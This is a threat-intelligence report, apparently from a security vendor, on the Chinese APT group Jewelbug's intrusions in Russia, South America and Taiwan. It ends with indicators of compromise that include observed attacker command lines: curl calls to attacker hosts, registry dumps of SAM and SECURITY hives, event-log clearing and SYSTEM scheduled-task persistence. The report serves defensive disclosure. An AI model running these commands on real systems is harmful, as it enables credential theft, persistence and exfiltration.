Jewelbug: Chinese APT Group Widens Reach to Russia

By About the Author

Archived: 2026-04-05 17:30:06 UTC

Chinese APT group Jewelbug (aka REF7707, CL-STA-0049, Earth Alux) has been highly active in recent months, targeting organizations in South America, South Asia, Taiwan and Russia. One of its intrusions was on the network of a Russian IT service provider and lasted for the first five months of 2025.

Attackers had access to code repository and software build systems that they could potentially leverage to carry out supply chain attacks targeting the company's customers in Russia. Notably too, the attackers were exfiltrating data to Yandex Cloud. Yandex is a popular service in Russia, so the attackers likely chose to use it in order to avoid raising suspicions.

In other activity on a large South American government organization in July 2025, Jewelbug deployed a new backdoor that appears to be under development by the group.

Jewelbug also compromised the network of a Taiwanese company, as well as another IT provider based in South Asia in recent months. However, its targeting of a Russian company is of particular note as Chinese and Russian threat actors have, until recently, rarely been seen to be attacking each other. Jewelbug's attack is the continuation of a trend that seems to have begun following Russia's invasion of Ukraine.

Attack on Russian IT service provider

The first suspicious activity that occurred on this network was the appearance of a file named 7zup.exe (Command line: *CSIDL_PROFILE\public\downloads\7zup.exe -d -remote up*), which is a renamed copy of cdb.exe, a benign Microsoft signed binary. CDB is the Microsoft Console Debugger. Use of a renamed version of cbd.exe is a hallmark of Jewelbug activity. CDB can be used to run shellcode and bypass application whitelisting. It can also be used to launch executables, run DLLs and terminate security solutions, making it a powerful tool. Microsoft recommends that CDB should be blocked from running by default and whitelisted for specific users only when it's explicitly needed.

Other activity on this network included credential dumping, and persistence and elevation of privileges via scheduled tasks (schtasks). The attackers also attempted to cover up their activity by clearing Windows Event Logs.

The use of Yandex Cloud to exfiltrate data was also a probable attempt by the attackers to remain under the radar as Yandex is a legitimate and commonly used cloud service in Russia. For this reason, it is unlikely to be blocked by Russian enterprises, and its use is less likely to raise suspicions. To exfiltrate the victims' data the attackers used a malicious sample that they had named "yandex2.exe."

As mentioned previously, the attackers were also targeting machines with build systems and code repository systems, potentially seeking to leverage access to the source code to carry out a supply chain attack targeting the

company's customers in Russia. IT service providers are popular targets for attackers seeking to carry out supply chain attacks as they often have extensive access to their customers' systems and may be able to automatically deploy updates or software across a large number of networks simultaneously, potentially giving the attackers access to, or allowing them to infect, a huge number of organizations at the same time.

It appears attackers may have been on this network for some time, with the first indication of suspicious activity dating from January 2025, while the most recent suspicious activity on this network occurred in May 2025.

New backdoor deployed in South American victim

Jewelbug also compromised a network belonging to a South American government department. It appears Jewelbug has been on the network of the department multiple times, or else has maintained persistence on the network for a long time, because suspicious activity was first seen in this organization in September 2024, with the most recent activity seen in July 2025.

In the September 2024 activity, the attackers attempted to add a new user to the network, as well as attempting to deploy a remote access tool to gain access to machines. They also used the legitimate AnyDesk remote management software, and deployed the 7-zip archive manager, which is often used to pack files before they are exfiltrated from victim machines. In the more recent activity in July 2025, the attackers used a legitimate executable for DLL sideloading, and the SMBExec tool for likely lateral movement on the network. They also used scheduled tasks for persistence, and BITSAdmin and the curl tool, probably to exfiltrate data.

Also in this organization, Jewelbug deployed what appears to be a new backdoor in development by the group. This malware leverages Microsoft Graph API and OneDrive as its command and control (C&C) servers. The malware deployed on the victim network appears to have some issues and limitations, perhaps pointing to it being a work in progress, or some inexperience on the part of the developer. However, activity we do see being carried out by this malware includes:

- Obtains a list of files from targeted machines and uploads this to OneDrive
- Does some logging into C:\ProgramData\application.ini. Some examples of this logging includes:
    - init successfully!
    - FreeFileInformation Fuc successfully!
    - C:\Users\Public\Libraries~
    - CreateDirectory Successfully!
    - Get Token successfully!
    - Create Folder In OneDrive successfully!
    - HttpSendRequestWPtr Error Code:0
- Creates the directory: C:\Users\Public\Libraries~ and hides it on the victim machine
- The malware also obtains the infected machine's IP, Windows version, and hostname. In some cases, it also collects the machine identifier. It uploads this information to OneDrive.

The logging done by this malware is of note as it points to this malware possibly being "tested" by the attackers. It is also notable as it shows that Jewelbug is continuing to develop new malware. The use of Microsoft Graph API

and OneDrive for C&C by Jewelbug is also interesting as it minimizes malicious indicators that would be observable to traditional security software, making this activity much harder to detect.

BYOVD technique used to target Taiwanese software company

Jewelbug was also on the network of a Taiwanese software company in October and November 2024. Unlike the later activity targeting the Russian IT service provider, however, there was no evidence of a software supply chain attack motivation. The attackers used DLL sideloading to load malware payloads. DLL sideloading is a very popular tactic among Chinese threat groups. ShadowPad was also deployed on this network. ShadowPad is a powerful modular backdoor that is exclusively used by Chinese threat actors. The attackers also used the KillAV tool to disable security software, as well as deploying a publicly available tool called EchoDrv, which permits abuse of the Kernel read/write vulnerability in the ECHOAC anti-cheat driver. This is likely an example of the attackers using the bring-your-own-vulnerable-driver (BYOVD) technique as an attempt to avoid their malicious activity being detected. They also created scheduled tasks for persistence.

The attackers leveraged LSASS and Mimikatz for dumping credentials, and Fast Reverse Proxy, which can expose local servers to the public internet, while they also deployed several publicly available tools for discovery and privilege escalation. The tools (PrintNotifyPotato, Coerced Potato, and Sweet Potato) are all freely available on GitHub. The attackers also used a publicly available tunnelling tool called Earthworm in a likely attempt to mask commands or data being sent to and from the victim network. The attackers were on this network for approximately three weeks, indicating some skill at remaining under the radar.

On the networks of both the Taiwanese software company and the South American government agency, a renamed version of the Microsoft Console Debugger (cdb.exe) tool was used. Jewelbug's use of this tool is notable as it is a relatively under the radar tool, despite it having numerous uses that could be beneficial to malicious actors, as discussed above. In one instance we also saw the CDB tool being injected into mspaint.exe. Mspaint has previously been documented as being used by Jewelbug to inject malware.

Jewelbug's preference for using cloud services and other legitimate tools in its operations indicates that remaining under the radar and establishing a stealthy and persistent presence on victim networks is of utmost importance to this group.

Previous Jewelbug activity

Jewelbug is believed to have been active since mid-2023, which was when binaries associated with it were first uploaded to VirusTotal. As well as the attacks mentioned in this blog, Jewelbug has also been associated with attacks targeting organizations in Southeast Asia, including a university, telecoms organization and a government ministry. Up to this point the group has been associated only with attacks on organizations in Asia and South America, there has been no previous documentation of the group targeting organizations in Russia. A blog released by security company Elastic earlier this year did say it had seen Jewelbug attackers using a domain that mimicked a Russian organization, but they did not identify any victims in Russia as part of that activity.

That blog also detailed Jewelbug's use of unique malware called Finaldraft, Pathloader and Guidloader. Finaldraft is a full-featured remote administration tool with the ability to accept add-on modules that extend functionality. It

also:

- Has support for proxying network traffic.
- Uses third-party Microsoft Graph API for C&C.
- Supports both Windows and Linux versions.

Pathloader and Guidloader are malware used to download and execute encrypted shellcode in memory. They have only been observed in association with Finaldraft.

Palo Alto also published a report about the custom malware used by Jewelbug, though it dubbed the Finaldraft backdoor Squidoor. It also noted that Jewelbug gained access to networks of interest by exploiting various vulnerabilities in Internet Information Services (IIS) servers before deploying webshells on infected servers. It also said that as well as using the Microsoft Graph API for C&C communication, the attackers also used DNS and ICMP tunnelling.

Previous reporting about Jewelbug has also noted the use of the CDB tool, the use of mspaint.exe to inject commands, and the wide-ranging use of dual-use and living off the land tools by the attackers as well, all of which was also seen in the recent activity observed by the Threat Hunter Team.

All indications point to Jewelbug being of Chinese origin, with its motivation most likely to be espionage and maintaining a long-term and stealthy presence on compromised networks.

Chinese threat actors looking in a new direction?

The most notable element of all this recent Jewelbug activity is the targeting of a Russian IT service provider by the Chinese APT group. When it comes to things like the Russia-Ukraine conflict and other geopolitical matters, China has traditionally backed, or at least not opposed, Russia, with the two considered to be loosely allied. The targeting of a Russian organization by a Chinese APT group shows, however, that Russia is not out-of-bounds when it comes to operations by China-based actors. The fact that there are indications the IT service provider may have been targeted for the purposes of a software supply chain attack on the company's customers in Russia is also notable as it means this attack had the potential to give the attackers access to a large number of companies in the country, which they could have used for cyber espionage or disruption.

Jewelbug's use of a new backdoor-in-development in this set of activity is also important as it shows that the group is continuing to actively develop its toolset and capabilities. Jewelbug, as a relatively new Chinese APT group, is one to watch as it has the skills to develop its own malware and maintain a long-term and stealthy presence on networks.

Indicators of compromise (IOCs)

File indicators

267ae4d7767d9980b3fbbfd5063bd28d5e05d22d64615fe7532d55a6063dfeb3 – cyglaunch.exe – Benign executable used for DLL sideloading

cffca467b6ff4dee8391c68650a53f4f3828a0b5a31a9aa501d2272b683205f9 – cdb.exe - Benign

executable Debugging Tools for Windows

010f76b21251eb5d8bc77bcfdb47d5f13009aa985e744b843fc2e35b23fb2a44 - vmwarebase.dll

015e424dc798bc4ef39f5237062d2402f5207fbf912a22ce6fb46ef9e42fd6ca - libgimpbase-2.0-0.dll

0642ada1f7c8b3cc43a1d69d6aa86fc1970e257271811e637b0e4349aa880fa8 - getkey.exe

078a3a2c4f24d8811bb1aa673790c16ad5ea563127af1a5d4a41c893b215c372 - crclient.dll

15eaa601b1bfb8cd7cd5513c692eea4ed4302f6fcbee4722433e0c85388de35d - vmwarebase.dll

259f65bcdd367e6d84a4cba75375744e85fbe58293c88b1ad5a1bee4add63b9d - cygwin1.dll

37e83ffde09a83273a4cea7fe24d3fda63fb342e6a3512de4541d62ab43aadd0 – jli.dll

3f49bd1f3b0999096511757e0fbc2e4e2c18176fd1773f71baf2d7a15dbbcfbf - yandex2.exe

5525c51063d40e12029d9ef4b646e261c853c655b9b2acc74a411428e873a8a1 - crclient.dll

5c396da8b64faf6e29ee38cdf0a4b9a652e01236d2b981c2ca806aa14d94c956 - sccmvnc.exe

5c3f0420c00e6ca123790403b6ed1f53f493357dfdd54ed9460d615d57f6bcd4 - vmwarebase.dll

67bb887a0f34543a32b845029be308f436704207a1964a2a3582f42fe6de4176 - atackersexe.zip

6d4d9b68d02e93e721943a6943cda6544bf4d31d109415774565b544b512ed25 – yandex2.exe

872045fe5bea78e4daac4f0352028060b0fadccfbf0a40b57d405579821850bb - crclient.dll

87ead55ff94b6cd9d80f590793d0dc17d9f5d442b6c827dcfb8db0c078918bd1 - xinput1_3.dll

9f4b046e9f9dbc36b8df011a69490948dce5b9645fc5209b0b3a60dad5a493e6 - crclient.dll

a1e45ec8639f55290a5eb47e9f75e6413b12eaa6f9e3834af600e00fe529a637 - vmwarebase.dll

b49e142b89c47757a0afb786bf0e6c11c9548f626c4127d4d16d30e3004bdfb1 - python311.dll

ba0dbee9538073fd81953a37218f200988ad91a8380e68118ea83e146e1d986d - python311.dll

bc270539c6a057791fba4793dc7e2d2567070e50ea089cc6fa032b3285576c64 – getkey.exe

bfe1538445e3f74ef7f41699482b40cf6f3b0a084e188f4c4b786b15eeb3601c - mimikatz.x64.exe - Mimikatz

cc87dee890641bd015a04e46a881eb844c774519d55b986fb216c4c2141479e8 - t.exe

d5147787d52636a3c6c2a0c84b351633ad7f45ce4ae5c2007e568f715fec3e49 – g.exe

Network indicators

app.blance.workers[.]dev

cdn.kindylib[.]info

95.164.5[.]209

Command lines

7zup.exe -d -remote up

Systeminfo

quser

netstat -ano

tasklist

cleanmgr

cscript //nologo "CSIDL_SYSTEM\winrm.vbs" get winrm/config

curl https://app.blance.workers.dev/png

curl -k https://95.164.5.209/png

curl https://app.blance.workers.dev/apii

bitsadmin /transfer myJob /download /priority normal https://www.microsoft.com/pt-br/ CSIDL_SYSTEM_DRIVE\recovery\index.html

curl -k https://34.117.217.74/ -o curl.txt

reg save HKLM\SAM CSIDL_COMMON_PICTURES\sam.hive

reg save HKLM\SECURITY CSIDL_COMMON_PICTURES\security.hive

reg save HKLM\SYSTEM CSIDL_COMMON_PICTURES\system.hive

reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /F

schtasks /create /RL HIGHEST /F /tn "Microsoft\Windows\ApplicationData\appuriverifierinstalls" /tr "CSIDL_SYSTEM\oobe\setup.exe \ui" /sc onstart /RU SYSTEM

schtasks /run /tn "Microsoft\Windows\ApplicationData\appuriverifierinstalls"

SCCMVNC.exe reconfig /target:10.1.0.110

net use \\[REDACTED]\ipc$ <?,?> /user:[REDACTED]

wevtutil cl "Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity" /q:true

powershell -Command "Get-WinEvent -LogName 'Microsoft-Windows-TerminalServices-LocalSessionManager/Operational' | Where-Object {$.Id -eq 21} | ForEach-Object { $eventXml = [xml]$.ToXml(); $username = $eventXml.Event.UserData.EventXML.User; $ipAddress = $eventXml.Event.UserData.EventXML.Address; $loginTime = $_.TimeCreated; if ($username -and $ipAddress -and $loginTime) { Write-Output ('User: ' + $username + ' IP: ' + $ipAddress + ' Login <?,?> ' + $loginTime) }}"

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

cmd.exe /Q /c taskkill /pid 37984 /f 1> \\127.0.0.1\ADMIN$__1751968474.3717754 2>&1

cmd.exe /Q /c vmware-authd.exe run 1> \\127.0.0.1\ADMIN$__1751968461.873731 2>&1

CSIDL_SYSTEM\cmd.exe /Q /c echo cd ^> \\<11,921B07E0>\C$__output 2^>^&1 > CSIDL_WINDOWS\oyykocjz.bat & CSIDL_SYSTEM\cmd.exe /Q /c CSIDL_WINDOWS\oyykocjz.bat & del CSIDL_WINDOWS\oyykocjz.bat

cmd.exe /Q /c del CSIDL_SYSTEM_DRIVE\"program files"\videolan\vlc\crashpad.exe 1> \\127.0.0.1\ADMIN$__1751952183.5376222 2>&1

cmd.exe /Q /c schtasks /create /tn "GetEvent" /tr "\"CSIDL_PROGRAM_FILES\aker\aker client\vmware-authd.exe" run" /sc once /st 02:30 /ru SYSTEM /F 1> \\127.0.0.1\ADMIN$__1752037991.49069 2>&1
